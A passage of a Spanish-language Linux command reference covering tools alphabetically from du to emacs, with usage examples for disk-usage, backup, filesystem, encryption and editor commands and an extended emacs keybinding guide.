$ du -s
Muestra los totales del directorio o archivo especificados
```

```
$ du -x
Calcular tamaño sin sumar los puntos de montaje
```

```
$ du fichero
Muestra el tamaño de fichero
```

```
$ du | sort -rn | head
Mostrar los 10 archivos que más ocupan
```

```
$ du -sch .[!]* * | sort -h
Mostrar también las carpetas ocultas y ordenar el resultado
```

## duc

[libncursesw5-dev libcairo2-dev libpangol.0-dev build-essential]. Herramienta que permite examinar el contenido de nuestro disco. Esta herramienta genera una base de datos con la cual podemos analizar mejor el contenido almacenado.

```
# duc index /etc
generar la base de datos del directorio /etc
```

```
# duc ls -Fg /etc
ver el contenido y el peso de cada carpeta del directorio del que se ha creado la base de datos
```

```
# duc gui /etc
mostrarlo de forma gráfica
```

```
# duc graph
muestra un gráfico del presente directorio con el nombre duc.png
```

## duck

Verificador d'URL de Debian. Procesa diversos campos de los ficheros debian/control, debian/upstream, debian/copyright, debian/patches/\* y systemd.unit y comprueba si las URLs, los enlaces VCS y los dominios de direcciones de correo electrónico que se encuentran en ellos son validosd'.

```
$ duck -v
```

## duckduckgo

Buscador alternativo que respeta la privacidad del usuario.

Filtros:

```
site:lapipaplana.net (Busca en la url especificada)
qrcode "linux es un sistema genial" (Crear código QR de un texto)
md5 lapipaplana (Generar un hash de un texto en md5)
base64 encode "Un texto" (Generar un hash en base64)
anagram "linux es genial" (Generar un anagrama [cambio de posición de los caracteres])
shorten http://lapipaplana.net (Acortador de URL)
maps ibiza (Muestra el mapa solicitado)
@templix (De un usuario de twitter)
recipes "tortilla de patatas" (Recetas de cocina)
color codes (Muestra los códigos de los colores)
Algunos comandos para utilizar en buscadores externos [Bangs]
```

```
!wes (Busca en la wikipedia en español)
!github (En github)
!b (En bing)
!meneame (En meneame)
!tw (En twitter)
!fb (En facebook)
!flickr (En flickr)
!grooveshark (En grooveshark)
!y (En yahoo)
!enes (En google translate inglés-español)
!gplus (En google+)
!g (En google)
!gi (En google images)
!m (En google maps)
!gmail (En gmail)
!ebay (En ebay)
Algunos atajos:
```

```
d (Busca más resultados en el sitio web resaltado)
Ctrl+enter (Abre resultado en una nueva ventana)
Ees (Sale de la caja de búsqueda y va a los resultados)
h (Coloca el cursor en la caja de búsqueda)
r (Si existe, va a los relacionados)
s (Si existe, va al enlace sugerido)
t (Va al inicio de la página)
```

## duf

Ver espacio de disco ocupado. Como df más colorida. Descarga:

```
$ wget https://github.com/muesli/duf/releases/download/v0.3.1/duf_0.3.1_linux_amd64.deb
```

```
# dpkg -i duf_0.3.1_linux_amd64.deb
```

```
$ duf -hide-special  
lanzar la aplicación
```

```
$ duf  
mostrando dispositivos locales y especiales
```

```
$ duf -theme ansi  
con determinado tema
```

```
$ duf -all  
incluir atributos de todas las particiones
```

## duff

Buscar archivos duplicados.

```
$ duff -a  
De forma recursiva en todo el presente directorio
```

```
$ duff -r Documentos  
Especificando un directorio
```

## dump

Copia de seguridad de archivos, directorios o particiones. Para restaurar la copia de seguridad ver comando restore.

```
$ dump -0vf home.bak /home/usuario/ (Completo [0], incremental sería 1, mostrando información [v]  
y especificando fichero [f])
```

## dump-acct

Imprime una lista de todos los inicios de sesión. La lista está, generalmente, en /var/log/wtmp. Todos los campos están separados por una línea vertical y son: user, name, tty, type, id, pid, hostaddr, host, time.

```
# dump-acct /var/log/wtmp
```

```
# dump-acct -n 10 /var/log/wtmp  
solo imprimir en pantalla 10 líneas
```

## dumpe2fs

Muestra información de ficheros ext2/3

```
# dumpe2fs /dev/sda1
```

Nota.- El porcentaje de bloques reservados para el usuario root en los sistemas de archivo ext2/3 normalmente es de un 5%. Esta cifra se obtiene de los datos Reserved block count y Block count. Con tune2fs podemos modificar este porcentaje, por ejemplo al 1%:

```
# tune2fs -m 1 /dev/sda1
```

## dump.exfat

Imprime información de un dispositivo dado que está formateado por el sistema de archivos exFAT.

```
# dump.exfat /dev/sda3
```

## dumpkeys

Permite obtener el mapa de teclas (Keymap) utilizado por el controlador de teclado actual.

```
# dumpkeys -i
```

```
# dumpkeys -f
completo
```

## dumppdf

Vuelca el contenido interno de un archivo PDF a formato pseudo-XML.

```
$ dumppdf -a file.pdf
Volcar todos los encabezados y contenidos, excepto los objetos de flujo
```

```
$ dumppdf -T file.pdf
Volcar la tabla de contenido
```

## duplicity

Herramienta para realizar backups tanto en modo local como remoto

```
# duplicity full /home file:///backups/
realiza un backup copmpleto [full] en modo local de la carpeta /home en la carpeta /backups
```

```
$ duplicity /home/usuario scp://usuario@host/dir
Backup de un directorio local a un servidor remoto
```

Algunas opciones:

```
--no-encryption (Sin codificar. Por defecto codifica los archivos en el destino)
--include /home/usuario/datos/documentos (Backups de un subdirectorio especifico)
--remove-all-but-n-full 1 --force (Sólo dejará en destino la última copia "full", borrando
la anterior y las incrementales que dependen de ella)
```

## durep

Monitorear el uso del disco. Genera una salida con texto y barras gráficas.

```
$ durep /var/www
uso básico
```

```
$ durep -td 2
hasta una profundidad de 2 subdirectorios del directorio actual
```

```
$ durep -f /var/www/html
escanear solo archivos sin descender a directorios
```

```
$ durep -c /var -sf /var/lib/durep/
generando un archivo .cds de /var y guardarlo en el directorio especificado
```

```
$ durep -lf /var/lib/durep/durep.cds
cargar los resultados del archivo
```



## dust

Mostrar espacio usado por archivos y directorios. Como du más colorido.

```
$ dust
```

## dutree

Análisis del uso del disco duro en forma de árbol. De forma predeterminada, dutree muestra un tamaño de archivo de 1 M

```
$ dutree
forma básica
```

```
$ dutree -s -H
resumen completo y sin mostrar archivos ocultos
```

```
$ dutree -u
ver el uso real del disco duro en lugar del tamaño del archivo
```

```
$ dutree -d 3
hasta una profundidad de 3 subdirectorios
```

```
$ dutree -f
omitiendo directorios
```

```
$ dutree -a
ver incluso los de menor tamaño que 1 M
```

## dvdauthor

Crear videos compatibles con reproductores domesticos [genera los directorios VIDEO\_TS y AUDIO\_TS]. Ver página man para una muestra del archivo de control.

```
$ dvdauthor -o directorio archivo_control.xml
```

```
$ dvdauthor -o mi_dvd -T
crear table de contenidos
```

## dvdbackup

[dependencias: libdvdread, libdvdcss]. Ripeo de dvds.

```
$ dvdbackup -i /dev/cdrom
/información del dvd
```

```
$ dvdbackup -M -i/dev/cdrom -o/home/usuario/carpeta_destino
lanzar la aplicación
```

## dvd+rw-format

Formatear dvd +- Rw

```
$ dvd+rw-format -force /dev/cdrom
```

## dvgrab

Catura de videos desde una cámara digital DV.

Previas:

```
# modprobe rwl394
# chmod o+rw /dev/rawl394
```

Uso:

```
$ dvgrab --buffers 500
Los videos se almacenarán de forma secuencial [001.avi, 002.avi...] y 500 frames. Por defecto 100

$ dvgrab -f avi -s 0 videos/archivo.avi
Especificando formato, sin perdida de calidad y destino
```

Algunas opciones:

```
-a 30 (crear nuevo archivo cada 30 segundos)
-csize 5 (divide el archivo de captura cuando llega a 5MB)
-debug all (mostrar información de la captura.)
-d 10,20 (tiempo total a capturar en formato SMIL. Por defecto ilimitado)
-every 50 (grabar un cuadro cada 50)
-f dif (formato de captura. Por defecto raw. Algunos formatos: dif [raw con extensión .dif], qt [formato QuickTime], mpeg2 [compresión MPEG-2], jpeg [secuencia de imágenes]
-F 20 (cantidad máxima de fotogramas por archivo. Por defecto ilimitado)
-nostop (no detener la reproducción en el dispositivo al cerrar la captura)
-rewind (rebobina el MiniDV al finalizar)
-t (poner fecha y hora de registro como nombre del archivo)
```

## dvtm

Terminal multiplexor

```
$ dvtm
Lanza la aplicacion
```

Algunos atajos

```
Ctrl+g c (Crear una nueva ventana)
Ctrl+g x (Cerrar la ventana enfocada)
Ctrl+g l (Aumenta el ancho de la ventana enfocada)
Ctrl+g h (Disminuye la anchura de la ventana enfocada)
Ctrl+g j (Cambiar el foco a la siguiente ventana)
Ctrl+g k (Cambiar a la ventana anterior)
Ctrl+g 3 (Ir a la ventana 3 contando desde la esquina superior izquierda)
Ctrl+g espacio (Rediseña todas las ventanas)
Ctrl+g t (Cambiar el diseño de mosaico a pila vertical)
Ctrl+g b (Cambiar a diseño de mosaico)
Ctrl+g g (Cambiar a diseño de cuadrícula)
Ctrl+g l (Redibujar toda la pantalla)
Ctrl+g q (Salir)
```

## dwb

Navegador minimalista con soporte para flash.

Atajos: dwb:keys

Configuración: dwb:settings

Las configuraciones en texto plano en .config/dwb/

Algunos atajos:

```
o (Para entrar una url)
O (abrirlo en una nueva pestaña)
J (Cambiar entre pestañas)
j (bajar por la página)
k (subir)
d (cerrar pestaña)
u (reabrir pestaña cerrada)
go (Editar la url)
r (Recargar la página)
R (Recargar sin usar la caché)
f (Marcar los enlaces para escoger el que proceda)
F (Marcar los enlaces y abrir el escogido en nueva pestaña)
i (Modo insert para insertar en algún cuadro de dialogo)
Esc (Volver a modo normal)
M (Entrar url en en laces de interés)
ctrl q (Para salir del navegador)
```

## dwwww

Visualizar documentación (páginas man, info, README...) en el navegador. El archivo de configuración en /etc/dwww/dwww.conf. Se accede con <http://localhost/dwww/index.html>

## dzdo

Se utiliza para ejecutar comandos con los privilegios de otro usuario.

```
$ dzdo -u root apt update
ejecutar "apt update" como usuario root
```

## dzegrep

Busqueda a través de archivos que pertenecen a un paquete Debian instalado. Parecido a degrep

```
$ dzegrep goodies debian-goodies
$ dzegrep dpigs debian-goodies
```

## dzfgrep

Igual que dzgrep y dzegrep

## dzgrep

Busqueda a través de archivos que pertenecen a un paquete Debian instalado. Parecido a degrep

```
$ dzgrep goodies debian-goodies
$ dzgrep dpigs debian-goodies
```

---

## E

---

### e2fsck

Optimizar y reparar particiones ext2 y ext3. Preciso desmontarla.

```
# e2fsck -b 8193 /dev/hda2
"-b 8193"que use la informacion de la primera copia del super bloque para reparar los daños.

# e2fsck -fpDv /dev/sda1
para optimizar la partición
```

Nota.- "-c" buscar y marcar los bloques dañados, "-D" Optimiza, "-f" fuerza, "-p" repara y "-v" informa

### e2fsprogs

Utilidades para los sistemas de ficheros ext2 y ext3. Incluye los ejecutables: badblocks [buscar bloques dañados en un dispositivo ], blkid [mostrar atributos de dispositivos de bloque], compile\_et [compilador de tablas de error], debugfs [depurador de sistemas de ficheros], dumpe2fs [información del superbloque y de los grupos de bloques], e2fsck [chequear y reparar sistemas de ficheros], e2image [salvar información de un sistema de ficheros], e2label [muestra o cambia la etiqueta de un sistema de ficheros], findfs [encuentra un sistema de ficheros por su etiqueta o UUID], fsck, fsck.ext2 y fsck.ext3, [chequear y reparar un sistema de ficheros], logsave [salva la salida de un comando en un fichero de registro], mk\_cmds [convierte tabla de nombres de comandos y mensajes de ayuda en un fichero fuente], mke2fs, mkfs.ext2 y mkfs.ext3 [crear sistemas de ficheros ext2 y ext3 en un dispositivo], mklost+found [crear un directorio lost+found en un sistema de ficheros], resize2fs [redimensionar sistemas de ficheros], lsattr [muestra los atributos de un fichero en un sistema de ficheros], chattr [cambia los atributos de los ficheros], tune2fs [ajusta los parámetros de un sistema de ficheros] y uuidgen [crea un nuevo identificador UUID].

### e2image

Genera una imagen de una partición ext2/ext3/ext4 y otros. También usado para redimensionar y mover particiones

```
# e2image /dev/sda2 copia.img

# e2image -ra -p -O 21623734272 /dev/sda1
Mueve la partición al punto definido por el parametro -O. Se debe reducir la partición previamente con resize2fs
```

### e2label

[ntfsprogs]. Poner etiquetas a las particiones y dispositivos ext3

```
# e2label /dev/dispositivo_usb mi_usb
cuando se conecte, en el escritorio aparecerá el icono con el nombre mi_usb

# e2label /dev/sda5
dirá si la partición sdb5 tiene nombre de etiqueta
```

## e2undo

Cuando la aplicación e2fsprogs falla, e2undo restablece el sistema de ficheros ext2/ext3/ext4 anterior del dispositivo.

## e3

Editor que según como se lance usa la monenclatura de teclas de emacs, vi, pico ...

```
$ e3em archivo.txt
Usará las teclas de emacs
```

```
$ e3vi archivo.txt
Usará las teclas de vi
```

## e4defrag

[e2fsprogs]. Desfragmentar particiones ext4.

```
# e4defrag /dev/sda2
```

## ebook-

Convertir/visualizar a formato ebook.

```
$ ebook-convert texto.pdf texto.epub
```

```
$ ebook-viewer texto.epub
Visualiza con la aplicación calibre
```

## echo

Muestra o incluye algo en un fichero.

```
$ echo $$
muestra el PID de la consola
```

```
$ echo $PS1
muestra el prompt
```

```
# echo deb ftp://ftp.debian.org/debian etch main >> /etc/apt/source.list
añade el repositorio mencionado al archivo sources.list
```

Nota.- con un solo > pondria la linea especificada borrando todo lo demas.)

```
$ echo $((10*2))
Realiza el cálculo matemático
```

```
$ echo Buenas.. voy a reiniciar ¿Haces algo? >> /dev/pts/23
Manda el mensaje a la consola 23
```

```
$ echo rm *.png
lista lo que se va a borrar, antes de lanzar rm *.png
```

```
$ echo "" > archivo.txt
Borra el contenido de archivo.txt. Para un borrado total mejor usar $ :> archivo.txt
```

```
$ echo -e "<?php\nphpinfo();\n?>"
la opción -e hace que se interprete los saltos de linea [\n], tabulaciones [\t] etc. en algunas distros es necesario lanzar: shopt -s extglob
```

```
$ echo -e "linux\\tes\\tgenial"
```

```
tabular cada palabra con \\t. La primera barra [\] sirva para escapar el caracter \t
```

```
$ echo -e "Dato1\n\tDato2\n\tDato3\n" > ejemplo.txt
entra datos en ejemplo.txt con salto de línea despues de cada dato
```

```
$ echo "linux is beautiful" | tee -a *.txt
Mandar texto a varios archivos de texto
```

```
$ echo !(HTMLS|plantilla*)
Es preciso activar: shopt -s extglob . Lisxta todo menos lo especificado
```

## ecryptfs

[ecryptfs-utils cryptsetup]. Sistema de ficheros que permite encriptar la información. Puede ser montado en un sistema de ficheros convencional [ext4, ext3...] lo cual significa que no tenemos que preocuparnos por asignarle espacio: conforme añadimos o eliminamos archivos, el espacio crece o decrece. Se podría coger un solo fichero encriptado, enviarse a otro PC y acceder a la información de ese fichero usando la misma contraseña.

1.-

Encriptar un directorio:

```
$ mkdir cripta
Crear directorio
```

```
# chmod 700 cripta
Otorgarle permisos
```

```
# mount -t ecryptfs cripta /media/tumba
Montar el directorio. Pregunta contraseña [la firma de la clave en el fichero /root/.ecryptfs/sig-cache.txt]. Las demás preguntas [método de cifrado, longitud de la contraseña...] pueden dejarse con las opciones por defecto
```

```
# umount /media/tumba
Desmontar directorio
```

Nota.- Es bastante usual, montar el directorio consigo mismo:

```
# mount -t ecryptfs cripta cripta
```

2.-

Ejecutar el asistente de creación de directorio cifrado:

```
# ecryptfs-setup-private
```

```
# ecryptfs-umount-private
Desmontar el directorio
```

```
# ecryptfs-mount-private
Montar el directorio
```

Nota.- Para impedir que el directorio creado se monte automáticamente al inicio de sesión, borrar el archivo ~/.ecryptfs/auto-mount. Para revertir el proceso crear en el mismo directorio un archivo vacío:

```
$ touch ~/.ecryptfs/auto-mount
```

3.-

Encriptar el directorio personal [\$HOME]

Salir de la cuenta de usuario y entrar en la de root.

```
# modprobe ecryptfs
activar el módulo del kernel
```

```
# ecryptfs-migrate-home -u USUARIO
Encriptar la $HOME del USUARIO
```

## E

Cerrar la cuenta de administrador y, sin reiniciar, entrar en la de USUARIO

```
$ ecryptfs-unwrap-passphrase
```

Pedirá la contraseña. Como medida de precaución es preciso anotar la cadena de texto que muestre

```
# ecryptfs-setup-swap
```

Como medida de seguridad es necesario encriptar la partición de intercambio [Swap]

```
# ecryptfs-rewrap-passphrase .ecryptfs/sig-cache.txt
```

Modificar la contraseña

## ebb

[= extractbb]. Para cada archivo JPEG, PNG o PDF dado en la línea de comandos, extractbb extrae la información del cuadro delimitador y la escribe en un archivo con extensión .xbb, junto con cierta información de cabecera. Estos archivos pueden ser utilizados por dvipdfmx u otros programas. Si se llama como ebb, la salida se escribe en formato bb (y con extensión .bb) que utiliza dvipdfm. Xbb puede definirse como sinónimo de extractbb en su sistema.

```
$ ebb -v file.png
```

## ed

Editor de líneas.

Teclas de control:

```
a (Añadir texto a partir de la línea indicada, o en la actual si no se indica)
i (Inserta texto antes de línea indicada)
c (Cambiar la línea o líneas indicadas)
d (Borra la línea o las líneas indicadas)
p (Visualiza la línea o el rango de líneas indicadas)
n (Visualiza la línea o rango indicados mostrando su número)
m3 (Mover la línea o rango de líneas a partir de la línea 3)
t2 (Copiar la línea o rango de líneas indicado a partir de la línea 2)
e[fic] (Carga el fichero indicado. No actúa si el fichero actual no está grabado)
E[fic] (Carga el fichero indicado sin comprobar si el fichero actual está grabado o no)
f[nombre] (Fija el nombre del fichero actual)
r [fic] (Lee el fichero indicado añadiendo a partir de la línea indicada o de la última si no se indica)
w [fic] (Graba las líneas indicadas, todas por defecto, en el fichero especificado o en el fichero actual por defecto)
q (Sale del editor, emite un error si el fichero actual no fue grabado)
Q (Igual que el anterior, sin comprobar si el fichero actual fue grabado)
P (Activa/Desactiva el prompt del editor)
H (Activa/Desactiva los mensajes explicativos de error)
u (Deshace el último comando que puede deshacerse. Por ejemplo una inserción)
!orden (Ejecuta la orden especificada llamando al intérprete de comandos sin salir del editor)
+5 (Avanza 5 líneas o una por defecto desde la línea actual)
-4 (Retrocede 4 líneas o una por defecto desde la línea actual)
^d (Vuelve al modo orden)
g/cosa/n (Busca "cosa" y visualiza la línea [n])
G/cosa/ (Se posiciona una a una en todas las líneas dónde ha encontrado "cosa" y espera una orden o "intro" para continuar)
v/cosa/n (Busca las líneas que no contengan la expresión "cosa" y las visualiza)
V/cosa/ (Se posiciona en cada línea donde no ha encontrado "cosa" [todas por defecto] a espera de una orden o "intro" para continuar)
s/cosa/casa/[g] (Busca las líneas que contienen "cosa" y substituye "cosa" por "casa")
```

## efibootmgr

Averiguar si se está ejecutando UEFI o BIOS. Si el sistema es compatible con UEFI generará diferentes variables. En caso de no ser compatible con UEFI se verá un mensaje que dice que las variables no son compatibles.

```
# efibootmgr
EFI variables are not supported on this system.
Tambien puede consultarse si existe en el sistema la carpeta /sys/firmware/efi, si no existe se
está usando BIOS.
```

## egrep

[extended grep]. Busca expresiones regulares.

```
$ egrep -v '^$|^#' archivo (suprimir líneas en blanco y comentadas)
$ egrep -c '^#' /etc/fstab (Muestra el número de líneas comentadas)
```

```
$ egrep -in "palabra" *.txt
busca palabra en todos los .txt del directorio
```

```
$ egrep 'UUID|proc' /etc/fstab
Muestra las líneas con las coincidencias
```

```
$ egrep --color '(vmx|svm)' /proc/cpuinfo
Averiguar si el equipo admite la virtualización por hardware. Si el comando no devuelve nada es
porque no lo soporta
```

Otras opciones:

```
-h Muestra las líneas coincidentes pero no los nombres de archivo.
-i Ignora los cambios mayúsculas y minúsculas.
-n Muestra la línea y el número de línea.
-r Lee en todos los archivos de los directorios y subdirectorios.
-v Muestra todas las líneas que no coinciden.
-w Sólo coincidencia en palabras completas.
```

## eject

Abre/cierra la bandeja del cdrom

```
$ eject /dev/cdrom0
Abre
```

```
$ eject -t /dev/cdrom0
Cierra
```

```
$ eject /dev/cdrom; sleep 1; eject -t /dev/cdrom
abrirlo y cerrarlo
```

```
$ eject sda8
desmonta la partición mencionada
```

## electricssheep

salva pantallas (screen saver) de arte abstracto en el que colaboran miles de personas en el mundo. Cuando los equipos "sueñan" ElectricSheep se enciende y comunica su ordenar con los demás a través de Internet para crear animaciones abstractas conocidas como "ovejas". Para que salga como opción en xscreensaver:

```
$ nano .xscreensaver
```

Añadir la línea al final del apartado:

```
....
- GL: companioncube -root \n\
- GL: hilbert -root \n\
- GL: tronbit -root \n\
      unicode -root \n\
      electricssheep \n\
```

Nota.- Los videos se encuentran en ~/.electricssheep en formato .avi



## elinks

Navegador.

```
$ elinks -dump fichero.html > fichero.txt
Convierte un .html a .txt
```

Atajos:

```
Esc (Ver/esconder los menús. Tambien F9)
t (nueva pestaña)
g (Entrar nueva url)
< > (moverse entre pestañas a derecha o izquierda)
Flechas del cursor derecha/izquierda (pagina anterior/posterior)
```

## emacs

Tutorial completo en español: <<http://www.nongnu.org/emacs-man-es/>> . Mucho más que un editor [no un procesador]. Lo que sigue es un pequeño manual de primeros auxilios.

Cuando Emacs abre un archivo lo abre en un buffer. Cuando leemos un fichero, lo que hacemos es copiar su contenido a una zona de memoria [a un buffer] y durante la edición lo que modificamos es esa zona de memoria, el fichero como tal permanece inalterado hasta que explícitamente demos la orden de grabar en el disco las modificaciones. Cuando emacs se inicia se abren dos búffers que no están asociados a ningún fichero: `*scratch*` y `*messages*` [En ambos el nombre empieza y acaba por un asterisco, lo que indica que no es un búffer asociado a un fichero]

```
$ emacs -q
Arrancar emacs prescindiendo del archivo de configuracion
```

```
$ emacs --daemon
Iniciar emacs como demonio y a continuacion con emacsclient conectar con el servidor
```

```
$ emacsclient -c
Conectar con el servidor
```

Significado de algunas teclas en la terminologia de emacs:

```
Alt = M (meta)
Ctrl= C (control)
spc (Barra espacio)
RET (intro)
RETRO (retroceso)
```

```
$ emacs -nw
Lanzar emacs en consola. Para crear un alias: alias emacs='emacs -nw'
```

```
$ emacs -nw --debug-init
Modo debugger para comprobar errores de sintaxis en ~/.emacs
```

```
$ emacs -u usuario
Arrancar emacs con la configuración de otro usuario
```

```
$ emacs -Q -q -nw -f eshell
Iniciar eshell en una nueva sesión de Emacs en la terminal sin cargar init.el
```

Teclas de socorro:

```
C-g (Cancelar algo: un comando, una combinación de teclas...)
C-x u (Deshacer)
M-x revert-buffer (Deshacer todo desde la última vez que se guardó)
M-x recover-session (Recuperar archivos perdidos por un fallo del sistema)
Movimiento por el texto:
```

C-a (ir al comienzo de una línea)  
 C-e (ir al final de una línea)  
 C-f (un caracter hacia adelante)  
 C-b (un caracter hacia atrás)  
 M-f (una palabra hacia adelante)  
 M-b (una palabra hacia atrás)  
 C-n (ir ala siguiente línea)  
 C-p (ir a la línea anterior)  
 M-a (Ir al inicio de la frase)  
 M-e (Ir al final de la frase)  
 C-v (Pagina siguiente)  
 M 8 C-v (baja 8 lineas la pantalla, NO 8 PÁGINAS)  
 M-v (Pagina anterior)  
 M 8 M-v (Sube 8 lineas la pantalla, NO 8 PÁGINAS)  
 M-< (Ir al principio del texto)  
 M-> (Ir al final del texto)  
 M-g g (Ir a la linea)  
 C-l (Redibuja la pantalla. La primera vez que se pulsa, coloca la linea del cursor en el centro, la segunda arriba y la tercera abajo)

Salir:

C-x C-c (Salir de Emacs)  
 C-x C-s (Guardar sin salir)  
 C-x C-w (Salir y guardar como)  
 C-x s (Guardar todos los ficheros abiertos. Preguntará.)

Copiar, cortar, pegar y reemplazar

C-Esp (Inicio del marcado de texto)  
 C-x h (Marcar todo el buffer, "Seleccionar todo")  
 M-w (Copiar)  
 C-w (Cortar)  
 C-y (Pegar)  
 C-x C-t (Copiar linea)  
 M-h (Selecciona un párrafo)  
 M-% (Primero entrar la palabra a cambiar i despues la que sustituye)

Buscar:

C-s (busca hacia adelante)  
 C-r (busca hacia atras)  
 C-s C-s (repite la busqueda)

Borrar:

M-d (Palabra despues del cursor)  
 M 3 M-d (Borra 3 palabras)  
 C-k (del cursor a fin de linea)  
 M 3 C-k (Borra 3 lineas)  
 M-k (todo el párrafo)  
 M 3 M-k (Borra 3 párrafos)  
 M-x kill-whole-line (Borrar la linea con independencia del lugar del cursor)

Ventanas:

C-x 2 (división horizontal de la ventana en dos)  
 C-x 3 (división vertical de la ventana en dos)  
 C-x 1 (Deja solo la ventana activa abierta)  
 C-x o (cambiar de ventana)  
 C-x 0 (Eliminar ventana actual)  
 C-x } (alarga la ventana activa en dirección horizontal)  
 C-x { (La acorta en dirección horizontal)  
 C-x ^ (La alarga en dirección vertical)

Buffers:

C-x k (cierra la buffer actual. Pide confirmación)  
 C-x b (Cambiar de buffer)  
 C-x C-b (Listar buffers en un panel)  
 C-x flechas derecha/izquierda (cambiar al siguiente/anterior)

Marcas:

C-x r m (Solicita nombre para la linea marcada)  
 C-x r b a (Ir a la linea marcada con el nombre que entremos, en este caso la "a". Si se encuentra la marca en un archivo no abierto, se abrirá)  
 C-x r l (Lista todas las marcas)  
 M-x bookmark-delete (Eliminar una marca que entremos)  
 C-spc C-spc (marca el punto del cursor en el texto)  
 C-u C-spc (Va a la marca realizada con C-spc C-spc)  
 C-x C-spc (Va a la penultima marca realizada con C-spc C-spc)

Imprimir:

```
C-u M-x ps-print-buffer-with-faces (Imprimir a ps. Luego con ps2pdf pasar a pdf)
M-x print-buffer (Imprimir archivo con numeración y cabeceras)
M-x lpr-buffer (Imprimir sin numeración ni cabeceras)
M-x print-region (Imprimir trozo seleccionado con numeración y cabeceras)
M-x lpr-region (Imprimir trozo seleccionado sin numeración ni cabeceras)
```

Varios:

```
C-x C-f (Abrir un archivo)
C-o (Inserta línea en blanco a continuación del cursor)
M-x tetris (Listado de juegos en /usr/share/emacs/24.3/lisp/play/. Lanzar sin la extensión)
M-x help-with-tutorial-spec-language (abre buffer con los idiomas disponibles para el manual)
C-x d (Abre un directorio que se especifique)
C-x RET f (Entrar codificación de caracteres: iso-8859-1, utf-8..)
C-x custom (Personalizar numerosos aspectos de emacs)
C-x C++ (Agrandar la fuente)
C-x C-- (Disminuir la fuente)
C-x z z z (Repite el último comando tantas veces como "zetas" pongamos. En este caso 3 veces)
& (Teniendo el cursor sobre un archivo en dired, permitirá entrar una aplicación para abrirla)
C-x C-o (Sólo deja una línea en blanco)
```

Entrar comandos de shell e insertar:

```
C-z (Suspende la sesión emacs y entra en la shell. Volver a emacs con fg o con %emacs)
M-! (Muestra en el mini buffer un mensaje para entrar un comando y lo abre en una ventana)
C-u M-! (Inserta la salida del comando en la posición del cursor)
C-x i (Insertar archivo en la posición del cursor)
C-c C-l (Mostrar historial de comandos)
C-u M-x eshell (Lanzar otra eshell cuando ya existe una)
```

ayuda:

```
F10 (Abre la ayuda general)
C-h k (Muestra información sobre un atajo)
C-h a (Todas las opciones de un comando)
C-h b (Ver todos los atajos)
C-h w (Muestra el atajo de la función que entremos)
C-h f (Información sobre una función)
C-h C RET (Muestra información sobre las codificaciones)
C-h v (Muestra información sobre variables)
C-h C-h (Muestra ayuda de la ayuda)
C-h e (Muestra los mensajes de log)
```

C-h v package-activated-list (Muestra las extensiones instaladas si lo han sido por "package")

Modo comando:

```
M-x recover-file (levantar respaldo del archivo)
M-x apropos INTRO print (Muestra información de "print")
M-x list-faces-display (Ver lista y muestra de los estilos disponibles)
M-x w3m-browser-url (Pedirá url para conectar. Precisa w3m-el)
M-x browse-url-firefox (Abrir una url con firefox)
M-x global-linum-mode (Mostrar/esconder números de línea)
M-x global-visual-line-mode (Cortar/no cortar palabras al final de la pantalla)
M-x global-hl-line-mode (Resaltar la línea donde está el cursor)
M-x calendar (Mostrar mes actual, el anterior y el posterior)
M-x command-history (History de comandos entrados)
M-x calculator (Calculadora muy elemental)
M-x man (mostrar man de un comando)
M-x woman (mostrar man de un comando)
M-x set-buffer-file-coding-system (Entrar codificación para el presente buffer)
M-x global-whitespace-mode (Mostrar/ocultar caracteres no imprimibles)
M-x follow-mode (al dividir un buffer en dos pantallas [C-x 3] y activar este modo menor, hace que los paneles sean una continuación del otro)
M-x man-follow (Con el cursor sobre un comando linux, muestra la página de manual)
M-x font-lock-mode (activa/desactiva coloreado de sintaxis. Por defecto activado.)
M-x append-to-buffer (sobre una sección seleccionada, la manda a otro buffer)
M-x proced-toggle-auto-update (Visualizar procesos del sistema [como top])
```

Para hacer permanente cualquiera de las opciones anteriores, colocarla en ~/.emacs de la siguiente forma:

```
(global-set-key (kbd "<f7>") 'global-linum-mode)
```

Para mostrar u ocultar los números de línea pulsando F7

## E

---

### 1.-

Abrir navegador de archivos. Precisa tenerlo instalado

Instalar nav:

Descarga de <<http://code.google.com/p/emacs-nav/>>. Una vez descomprimido copiar el directorio en ~/.emacs.d/ y renombrar como nav

```
$ emacs .emacs
```

Completar configuración y que se abra pulsado F8, añadir las siguientes líneas:

```
(add-to-list 'load-path "/home/USER/.emacs.d/nav/")
(require 'nav)
```

```
(nav-disable-overeager-window-splitting)
```

```
(global-set-key [f8] 'nav-toggle)
```

Abrir con M-x nav

### 2.-

Añadir una "lista negra" de bufferes a los que no interesan acceder (scratch, messages...).

Añadir a .emacs las siguientes líneas:

```
(require 'iswitchb)
(iswitchb-mode)
(add-to-list 'iswitchb-buffer-ignore "^ ")
(add-to-list 'iswitchb-buffer-ignore "*Messages*")
(add-to-list 'iswitchb-buffer-ignore "*ECB")
(add-to-list 'iswitchb-buffer-ignore "*Buffer")
(add-to-list 'iswitchb-buffer-ignore "*Completions")
(add-to-list 'iswitchb-buffer-ignore "*scratch*")
(add-to-list 'iswitchb-buffer-ignore "*ftp ")
(add-to-list 'iswitchb-buffer-ignore "*bsh")
(add-to-list 'iswitchb-buffer-ignore "*jde-log")
(add-to-list 'iswitchb-buffer-ignore "^[tT][aA][gG][sS]$" )
```

Al pulsar C-x b (Listar buffers abiertos) El buffer que aparece en primer lugar, resaltado en otro color, es el que se mostrará al pulsar Enter. Si queremos cambiar a otro buffer pulsar C-s para rotar el orden de los elementos de la lista.

Nota.- A partir de la versión emacs-24.4 iswitchb ha sido substituido por ido. Las líneas a añadir a .emacs son:

```
(require 'ido)
(ido-mode 'buffers) ;; only use this line to turn off ido for file names!
(setq ido-ignore-buffers '("^ " "*Completions*" "*Shell Command Output*"
                           "*Messages*" "Async Shell Command" "*scratch*"
                           "*tramp*"))
```

### 3.-

Escuchar música con emms.

Instalar emms en el sistema mediante repositorio y descargar <<http://ftp.gnu.org/gnu/emms/>> , descomprimir y mover el directorio a ~/.emacs.d/. En .emacs colocar las líneas:

```
(add-to-list 'load-path "~/.emacs.d/emms-4.0/")
(require 'emms-setup)
(emms-standard)
(emms-default-players)
Llamar con M-x emms (Pulsando TAB aparecerán las opciones). Salir con M-x emms-stop
```

### 4.-

Corrector ortográfico. apt-get install aspell-es dictionary-el aspell-ca

Emacs coge automáticamente el idioma por defecto del sistema. Para modificar el idioma:

```
M-x ispell-change-dictionary
Corregir un texto:
```

```
M-x ispell
Opciones en este modo:
```

```
ESP (Saltar la palabra)
r (modificar personalmente)
dígito (Substituir palabra por la del dígito pulsado)
a (Aceptar la palabra incorrecta)
